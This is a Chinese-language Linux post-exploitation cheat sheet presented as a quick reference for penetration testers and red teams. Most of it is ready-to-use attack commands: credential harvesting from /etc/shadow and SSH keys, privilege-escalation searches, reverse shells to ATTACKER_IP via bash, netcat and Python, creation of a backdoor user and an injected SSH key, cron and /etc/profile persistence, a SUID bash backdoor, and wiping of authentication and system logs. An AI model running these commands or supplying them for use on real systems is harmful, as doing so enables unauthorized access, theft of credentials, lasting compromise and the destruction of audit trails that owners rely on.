涵盖信息收集、提权、后门维持、清理痕迹等环节,方便在渗透测试和红队工作中快速使用。
1️⃣ 系统信息收集
| 命令 | 说明 |
|---|
uname -a | 系统内核及架构信息 |
cat /etc/os-release | 发行版信息 |
hostname | 主机名 |
id | 当前用户 UID、GID |
whoami | 当前用户名 |
groups | 查看所属组 |
sudo -l | 查看可用 sudo 权限(提权关键) |
env | 查看环境变量 |
history | 历史命令记录(凭据搜集) |
last | 最近登录记录 |
2️⃣ 网络信息收集
| 命令 | 说明 |
|---|
ip addr | 查看 IP 地址和网卡 |
ip route | 查看路由表 |
ss -tulwn / netstat -tulnp | 查看监听端口 |
lsof -i | 查看网络连接和进程 |
tcpdump -i eth0 | 抓包分析 |
arp -a | 查看 ARP 缓存 |
dig domain / nslookup domain | DNS 查询 |
curl -I http://target | 查看 HTTP 头 |
wget http://target/file | 下载文件 |
3️⃣ 用户与凭据搜集
| 命令 | 说明 |
|---|
cat /etc/passwd | 所有系统用户 |
cat /etc/shadow | 密码哈希(需 root) |
grep -rnw '/' -e 'password' | 搜索明文密码 |
find / -name '*.pem' 2>/dev/null | 搜索私钥文件 |
cat ~/.ssh/id_rsa | 当前用户 SSH 私钥 |
find / -perm -4000 -type f 2>/dev/null | 查找 SUID 提权程序 |
4️⃣ 文件系统与敏感信息
| 命令 | 说明 |
|---|
find / -name config.php 2>/dev/null | 搜索网站配置文件 |
grep -r "DB_PASSWORD" /var/www/ | 搜索数据库凭据 |
ls -la /home/* | 查看用户主目录 |
cat /root/.bash_history | Root 历史命令 |
find /tmp /var/tmp /dev/shm -type f | 查找可疑临时文件 |
5️⃣ 提权相关命令
| 命令 | 说明 | |
|---|
sudo -l | 查看可执行 sudo 命令 | |
find / -perm -4000 -type f 2>/dev/null | SUID 文件 | |
find / -perm -2000 -type f 2>/dev/null | SGID 文件 | |
getcap -r / 2>/dev/null | 查找 Capabilities 提权点 | |
| `ps aux | grep root` | 查看 Root 权限进程 |
cat /etc/crontab | 定时任务提权点 | |
cat /etc/sudoers | sudo 权限配置 | |
ls -al /etc/passwd /etc/shadow | 检查文件权限 | |
6️⃣ 后门维持与反弹 Shell
反弹 Shell 命令
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
nc -e /bin/bash ATTACKER_IP PORT
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
创建隐藏用户
useradd backdoor -m -s /bin/bash
echo "backdoor:password" | chpasswd
添加 SSH 后门
mkdir -p ~/.ssh
echo "ATTACKER_PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
7️⃣ 文件传输
| 命令 | 说明 |
|---|
wget http://attacker/file | 下载文件 |
curl -O http://attacker/file | 下载文件 |
scp file attacker@host:/path | 上传文件 |
base64 file > file.b64 | 编码文件传输 |
base64 -d file.b64 > file | 解码还原文件 |
8️⃣ 日志清理
| 命令 | 说明 |
|---|
history -c | 清空当前用户历史命令 |
echo > ~/.bash_history | 清空历史记录文件 |
rm -f /var/log/auth.log | 删除身份验证日志 |
truncate -s 0 /var/log/syslog | 清空系统日志 |
find /var/log -type f -exec truncate -s 0 {} \; | 批量清空日志 |
9️⃣ 权限维持技巧
| 命令 | 说明 | |
|---|
echo "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" >> /etc/profile | 登录后自动反弹 | |
crontab -e | 定时任务执行后门脚本 | |
| `echo "* * * * * bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" | crontab -` | 每分钟反弹 |
ln -s /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash | SUID 后门 | |
🔟 常用提权工具 (辅助命令)
wget / curl:下载提权脚本(如 LinPEAS)
chmod +x script.sh && ./script.sh:运行提权扫描
python -m SimpleHTTPServer 80:快速起本地 HTTP 服务传文件
nc -lvnp 4444:监听反弹 shell